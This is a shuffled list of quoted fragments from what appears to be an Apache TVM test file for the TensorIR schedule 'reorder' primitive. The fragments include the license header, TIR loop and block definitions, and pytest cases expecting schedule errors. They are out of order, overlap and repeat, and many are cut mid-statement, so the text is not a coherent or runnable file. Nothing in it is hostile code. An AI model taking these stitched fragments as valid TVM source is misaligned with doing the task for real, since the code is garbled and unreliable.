"sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) def test_reorder_fail_not_affine_bindings(): sch = tir.Schedule(elementwise_not_affine, debug_mask=\"all\") block_b =",
"\"B\") as [vi, vj, vk, vl]: tir.where(i * 2097152 + j * 16384",
"128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for i, j, k in",
"16], \"A\") as [vi, vj]: tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 +",
"def test_reorder_fail_with_multi_appearance_loops(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l",
"tvm import tir from tvm.script import ty from tvm.tir.schedule.testing import verify_trace_roundtrip # pylint:",
"128, 128, 8): with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk,",
"License, Version 2.0 (the # \"License\"); you may not use this file except",
"16): with tir.block([16, 16], \"B\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([])",
"[vi, vj, vk, vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l) B[vi,",
"tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError):",
"* 2.0 @tvm.script.tir def elementwise_predicate(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"j) tir.bind(vk, k) B[vi, vj, vk] = C[vi, vj, vk] * 2.0 @tvm.script.tir",
"16, 0, vi * 16 + vj, dtype=\"handle\")) # pylint: enable=no-member,invalid-name,unused-variable def test_reorder():",
"this file except in compliance # with the License. You may obtain a",
"pytest import tvm from tvm import tir from tvm.script import ty from tvm.tir.schedule.testing",
"block_b = sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) sch",
"vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) B[vi, vj, vk] = C[vi,",
"sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_dependent_loops(): sch = tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\") block_b =",
"2.0 @tvm.script.tir def elementwise_dependent_loop(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128,",
"[vi, vj, vk, vl]: tir.where(i * 2097152 + j * 16384 + k",
"16 + vj, dtype=\"handle\")) # pylint: enable=no-member,invalid-name,unused-variable def test_reorder(): sch = tir.Schedule(elementwise, debug_mask=\"all\")",
"* 16 + vj, dtype=\"handle\")) # pylint: enable=no-member,invalid-name,unused-variable def test_reorder(): sch = tir.Schedule(elementwise,",
"may not use this file except in compliance # with the License. You",
"i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_dependent_loops(): sch =",
"j) tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi, vj, vk] =",
"k) tir.bind(vl, l) B[vi, vj, vk, vl] = A[vi, vj, vk, vl] *",
"(128, 128, 128)) C = tir.alloc_buffer((128, 128, 128)) B = tir.match_buffer(b, (128, 128,",
"tir.alloc_buffer((128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for i, j in",
"= tir.match_buffer(b, (128, 128, 128, 128)) for k, j, i, l in tir.grid(128,",
"= sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) def",
"ASF licenses this file # to you under the Apache License, Version 2.0",
"vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_dependent_loop(a: ty.handle, b: ty.handle) -> None:",
"ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128)) B =",
"j in tir.grid(128, 128): for k in tir.serial(0, 128): with tir.block([128, 128, 128],",
"vk] = A[vi, vj, vk] * 2.0 for k in tir.serial(0, 128): with",
"# distributed with this work for additional information # regarding copyright ownership. The",
"\"B\") as [vi, vj]: tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi",
"+ k * 128 + l < 100) B[vi, vj, vk, vl] =",
"= sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch,",
"sch = tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_a = sch.get_block(\"A\") i, j =",
"on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY #",
"\"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") for j, i in tir.grid(16, 16):",
"= A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_not_affine(a: ty.handle, b: ty.handle)",
"16, 16, 0, vi * 16 + vj, dtype=\"handle\")) # pylint: enable=no-member,invalid-name,unused-variable def",
"(128, 128, 128, 128)) for k, j, i, l in tir.grid(128, 128, 128,",
"tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj, 1) for j, i",
"= A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_dependent_loop(a: ty.handle, b: ty.handle)",
"mod=elementwise) def test_reorder_with_opaque_access(): sch = tir.Schedule(opaque_access, debug_mask=\"all\") block_a = sch.get_block(\"A\") i, j =",
"block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(k, i, l) tvm.ir.assert_structural_equal(elementwise_reordered2,",
"vi * 16 + vj, dtype=\"handle\")) # pylint: enable=no-member,invalid-name,unused-variable def test_reorder(): sch =",
"vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l * 16) B[vi, vj,",
"ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128, 128)) B",
"k) C[vi, vj, vk] = A[vi, vj, vk] * 2.0 for k in",
"k * 128 + l < 100) tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k)",
"= tir.alloc_buffer((128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for i, j",
"with this work for additional information # regarding copyright ownership. The ASF licenses",
"tir.block([16, 16], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([A[0:16, 0:16]])",
"128, 128)) for i, j, k, l in tir.grid(128, 128, 128, 128): with",
"as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16,",
"* 2.0 @tvm.script.tir def elementwise_with_loops_not_same_scope(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"the License. You may obtain a copy of the License at # #",
"in tir.grid(16, 16): with tir.block([16, 16], \"B\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj,",
"vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_not_affine(a: ty.handle, b: ty.handle) -> None:",
"vl] * 2.0 @tvm.script.tir def elementwise_predicate(a: ty.handle, b: ty.handle) -> None: A =",
"l in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128, 128], \"B\") as",
"i, j, k, l in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128,",
"16384 + k * 128 + l < 100) B[vi, vj, vk, vl]",
"tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi, vj, vk] = A[vi,",
"vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0,",
"elementwise_reordered(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128, 128))",
"agreements. See the NOTICE file # distributed with this work for additional information",
"i, i) def test_reorder_fail_with_non_single_branch_loop(): sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j,",
"sch.get_loops(block_b)[0] with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_wrong_block_var_type(): sch = tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\") block_b =",
"writing, # software distributed under the License is distributed on an # \"AS",
"k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder2(): sch",
"vk, vl] * 2.0 @tvm.script.tir def elementwise_dependent_loop(a: ty.handle, b: ty.handle) -> None: A",
"128): with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]: tir.where(i",
"vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered_with_predicate(a: ty.handle,",
"i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l * 16) B[vi, vj, vk, vl]",
"sch.reorder(j, i) block_b = sch.get_block(\"B\") i, j = sch.get_loops(block_b) sch.reorder(j, i) tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"])",
"k1 = sch.get_loops(block_b) _, _, k2 = sch.get_loops(block_c) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1, i, k2)",
"128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for i in tir.serial(0,",
"i, l) tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder_with_opaque_access(): sch = tir.Schedule(opaque_access, debug_mask=\"all\") block_a",
"= sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(k, i, l) tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"])",
"NOTICE file # distributed with this work for additional information # regarding copyright",
"128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for k, j, i, l",
"(128, 128, 128, 128)) for i, j, k, l in tir.grid(128, 128, 128,",
"i in tir.grid(16, 16): with tir.block([16, 16], \"A\") as [vi, vj]: tir.bind(vi, i)",
"debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l,",
"the License. # pylint: disable=missing-function-docstring,missing-module-docstring import sys import pytest import tvm from tvm",
"B[vi, vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def",
"in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128, 128], \"B\") as [vi,",
"verify_trace_roundtrip(sch=sch, mod=opaque_access) def test_reorder_with_predicate(): sch = tir.Schedule(elementwise_predicate, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j,",
"tir.block([128], \"B\") as [vk]: tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi,",
"tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l * 16) B[vi, vj, vk, vl] =",
"in tir.serial(0, 128): with tir.block([128], \"B\") as [vk]: tir.bind(vk, k) tir.reads([A[vi, vj, vk]])",
"vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered_with_predicate(a:",
"vj, 1) with tir.block([16, 16], \"B\") as [vi, vj]: tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data,",
"l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise_predicate) def test_reorder_fail_with_multi_appearance_loops(): sch =",
"128)) for i, j, k, l in tir.grid(128, 128, 128, 8): with tir.block([128,",
"ty from tvm.tir.schedule.testing import verify_trace_roundtrip # pylint: disable=no-member,invalid-name,unused-variable @tvm.script.tir def elementwise(a: ty.handle, b:",
"= tir.match_buffer(a, (128, 128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128))",
"128, 128)) for i, j, k in tir.grid(128, 128, 128): with tir.block([128, 128,",
"vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj,",
"128, 128)) for l, j, k, i in tir.grid(128, 128, 128, 128): with",
"tir.match_buffer(b, (128, 128, 128, 128)) for i, j, k, l in tir.grid(128, 128,",
"vj, vk, vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l) B[vi, vj,",
"vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered2(a: ty.handle,",
"128, 128], \"B\") as [vi, vj, vk, vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk,",
"* 2.0 @tvm.script.tir def elementwise_reordered_with_predicate(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"= A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def opaque_access(a: ty.handle, b: ty.handle)",
"* 16 + vj, 1) for j, i in tir.grid(16, 16): with tir.block([16,",
"tir.match_buffer(b, (128, 128, 128)) for i, j in tir.grid(128, 128): with tir.block([128, 128],",
"i) tir.bind(vj, j) tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi *",
"A = tir.match_buffer(a, (128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for",
"the Apache License, Version 2.0 (the # \"License\"); you may not use this",
"test_reorder_fail_not_affine_bindings(): sch = tir.Schedule(elementwise_not_affine, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l =",
"tir.Schedule(elementwise_predicate, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i)",
"with tir.block([128], \"B\") as [vk]: tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]])",
"vj, dtype=\"handle\")) @tvm.script.tir def opaque_access_reorder(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"def test_reorder_with_opaque_access(): sch = tir.Schedule(opaque_access, debug_mask=\"all\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a)",
"+ vj, dtype=\"handle\")) # pylint: enable=no-member,invalid-name,unused-variable def test_reorder(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b",
"= sch.get_block(\"B\") block_c = sch.get_block(\"C\") i, j, k1 = sch.get_loops(block_b) _, _, k2",
"i, j = sch.get_loops(block_b) sch.reorder(j, i) tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=opaque_access) def test_reorder_with_predicate(): sch",
"i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i, i) def test_reorder_fail_with_non_single_branch_loop():",
"128], \"C\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) C[vi,",
"l, j, k, i in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128,",
"* 2.0 @tvm.script.tir def elementwise_with_wrong_block_var_type(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"tir.bind(vj, j) for k in tir.serial(0, 128): with tir.block([128], \"B\") as [vk]: tir.bind(vk,",
"tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError):",
"i in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128, 128], \"B\") as",
"j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_dependent_loops(): sch = tir.Schedule(elementwise_dependent_loop,",
"and limitations # under the License. # pylint: disable=missing-function-docstring,missing-module-docstring import sys import pytest",
"i) def test_reorder_fail_with_dependent_loops(): sch = tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k,",
"l < 100) tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l) B[vi, vj,",
"The ASF licenses this file # to you under the Apache License, Version",
"file except in compliance # with the License. You may obtain a copy",
"i) tir.bind(vj, j) tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj, 1)",
"i, j = sch.get_loops(block_a) sch.reorder(j, i) block_b = sch.get_block(\"B\") i, j = sch.get_loops(block_b)",
"file # to you under the Apache License, Version 2.0 (the # \"License\");",
"j, i, l in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128, 128],",
"in tir.grid(128, i, 128): with tir.block([128, 128, i, 128], \"B\") as [vi, vj,",
"128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for l, j,",
"debug_mask=\"all\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) sch.reorder(j, i) block_b = sch.get_block(\"B\")",
"tir.block([128, 128, 128], \"C\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk,",
"@tvm.script.tir def elementwise_reordered(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128,",
"block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i)",
"128): with tir.block([128, 128, i, 128], \"B\") as [vi, vj, vk, vl]: B[vi,",
"_, k2 = sch.get_loops(block_c) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1, i, k2) def test_reorder_fail_with_loops_not_under_same_scope(): sch =",
"128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for i, j, k, l",
"mod=elementwise) def test_reorder2(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k,",
"pylint: disable=missing-function-docstring,missing-module-docstring import sys import pytest import tvm from tvm import tir from",
"128)) with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]: B[vi,",
"pylint: disable=no-member,invalid-name,unused-variable @tvm.script.tir def elementwise(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"@tvm.script.tir def opaque_access(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, [16, 16],",
"elementwise(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128, 128))",
"vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_dependent_loop(a:",
"128, tir.scan_axis(0, 128)], \"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk,",
"(the # \"License\"); you may not use this file except in compliance #",
"8): with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]: tir.bind(vi,",
"-> None: A = tir.match_buffer(a, (128, 128, 128, 128)) B = tir.match_buffer(b, (128,",
"sch.get_block(\"A\") i, j = sch.get_loops(block_a) sch.reorder(j, i) block_b = sch.get_block(\"B\") i, j =",
"= sch.get_loops(block_a) sch.reorder(j, i) block_b = sch.get_block(\"B\") i, j = sch.get_loops(block_b) sch.reorder(j, i)",
"vj, vk] = C[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_loops_not_same_scope(a: ty.handle, b:",
"128, 128): with tir.block([128, 128, tir.scan_axis(0, 128)], \"B\") as [vi, vj, vk]: tir.bind(vi,",
"= sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) if __name__ == \"__main__\": sys.exit(pytest.main([__file__] + sys.argv[1:]))",
"tir.block([128, 128, tir.scan_axis(0, 128)], \"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j)",
"l) B[vi, vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir",
"vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_non_single_branch(a: ty.handle,",
"j * 16384 + k * 128 + l < 100) tir.bind(vi, i)",
"sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i, i) def test_reorder_fail_with_non_single_branch_loop(): sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b",
"l = sch.get_loops(block_b) sch.reorder(k, i, l) tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder_with_opaque_access(): sch",
"= sch.get_loops(block_b)[0] with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_wrong_block_var_type(): sch = tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\") block_b",
"tir.match_buffer(b, [16, 16], \"float32\") with tir.block([16, 16], \"A\") as [vi, vj]: tir.reads([]) tir.writes([A[0:16,",
"tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k,",
"tir.grid(16, 16): with tir.block([16, 16], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j)",
"A = tir.match_buffer(a, [16, 16], \"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") with",
"vl] * 2.0 @tvm.script.tir def elementwise_reordered_with_predicate(a: ty.handle, b: ty.handle) -> None: A =",
"import verify_trace_roundtrip # pylint: disable=no-member,invalid-name,unused-variable @tvm.script.tir def elementwise(a: ty.handle, b: ty.handle) -> None:",
"2.0 @tvm.script.tir def elementwise_reordered2(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128,",
"= tir.match_buffer(a, (128, 128, 128)) C = tir.alloc_buffer((128, 128, 128)) B = tir.match_buffer(b,",
"sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) if __name__",
"law or agreed to in writing, # software distributed under the License is",
"vk]]) B[vi, vj, vk] = A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_wrong_block_var_type(a:",
"128], \"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) B[vi,",
"# software distributed under the License is distributed on an # \"AS IS\"",
"to you under the Apache License, Version 2.0 (the # \"License\"); you may",
"def elementwise(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128,",
"vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) C[vi, vj, vk] = A[vi,",
"file # distributed with this work for additional information # regarding copyright ownership.",
"= tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with",
"vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) B[vi, vj, vk] = C[vi, vj,",
"# Licensed to the Apache Software Foundation (ASF) under one # or more",
"tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=opaque_access) def test_reorder_with_predicate(): sch = tir.Schedule(elementwise_predicate, debug_mask=\"all\") block_b = sch.get_block(\"B\")",
"block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"])",
"sch.get_loops(block_b) _, _, k2 = sch.get_loops(block_c) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1, i, k2) def test_reorder_fail_with_loops_not_under_same_scope():",
"128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for l, j, k,",
"= sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) def test_reorder_fail_not_affine_bindings(): sch = tir.Schedule(elementwise_not_affine, debug_mask=\"all\") block_b",
"disable=no-member,invalid-name,unused-variable @tvm.script.tir def elementwise(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128,",
"elementwise_not_affine(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128, 128))",
"2.0 @tvm.script.tir def elementwise_with_loops_not_same_scope(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128,",
"j * 16384 + k * 128 + l < 100) B[vi, vj,",
"= tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l,",
"= tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a)",
"copyright ownership. The ASF licenses this file # to you under the Apache",
"ownership. The ASF licenses this file # to you under the Apache License,",
"tir.serial(0, 128): with tir.block([128], \"B\") as [vk]: tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi,",
"128, 128)) for k, j, i, l in tir.grid(128, 128, 128, 128): with",
"tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i)",
"test_reorder_with_predicate(): sch = tir.Schedule(elementwise_predicate, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l =",
"128): with tir.block([128], \"B\") as [vk]: tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj,",
"opaque_access(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, [16, 16], \"float32\") B",
"License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or",
"from tvm.tir.schedule.testing import verify_trace_roundtrip # pylint: disable=no-member,invalid-name,unused-variable @tvm.script.tir def elementwise(a: ty.handle, b: ty.handle)",
"tir.block([16, 16], \"B\") as [vi, vj]: tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16,",
"vj]: tir.bind(vi, i) tir.bind(vj, j) for k in tir.serial(0, 128): with tir.block([128], \"B\")",
"16, 16, 0, vi * 16 + vj, dtype=\"handle\")) @tvm.script.tir def opaque_access_reorder(a: ty.handle,",
"# Unless required by applicable law or agreed to in writing, # software",
"128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for i in tir.serial(0, 128):",
"[vi, vj]: tir.bind(vi, i) tir.bind(vj, j) for k in tir.serial(0, 128): with tir.block([128],",
"debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i)",
"at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed",
"B = tir.match_buffer(b, [16, 16], \"float32\") for j, i in tir.grid(16, 16): with",
"sch.get_loops(block_b) sch.reorder(k, i, l) tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder_with_opaque_access(): sch = tir.Schedule(opaque_access,",
"enable=no-member,invalid-name,unused-variable def test_reorder(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k,",
"< 100) B[vi, vj, vk, vl] = A[vi, vj, vk, vl] * 2.0",
"sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) def test_reorder_fail_not_affine_bindings():",
"sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise_predicate)",
"to in writing, # software distributed under the License is distributed on an",
"disable=missing-function-docstring,missing-module-docstring import sys import pytest import tvm from tvm import tir from tvm.script",
"vk, vl]: tir.where(i * 2097152 + j * 16384 + k * 128",
"as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) for k in tir.serial(0, 128): with",
"tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l) B[vi, vj, vk, vl] =",
"sch = tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b)",
"agreed to in writing, # software distributed under the License is distributed on",
"128, 128], \"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k)",
"B[vi, vj, vk] = C[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_loops_not_same_scope(a: ty.handle,",
"sch.reorder(k, i, i) def test_reorder_fail_with_non_single_branch_loop(): sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") i,",
"128, 128)) for i in tir.serial(0, 128): for j, k, l in tir.grid(128,",
"tir.match_buffer(a, [16, 16], \"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") for j, i",
"[vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) C[vi, vj, vk] =",
"debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(k, i, l)",
"\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express",
"sch.get_loops(block_c) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1, i, k2) def test_reorder_fail_with_loops_not_under_same_scope(): sch = tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\") block_b",
"pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) def test_reorder_fail_not_affine_bindings(): sch = tir.Schedule(elementwise_not_affine, debug_mask=\"all\") block_b = sch.get_block(\"B\") i,",
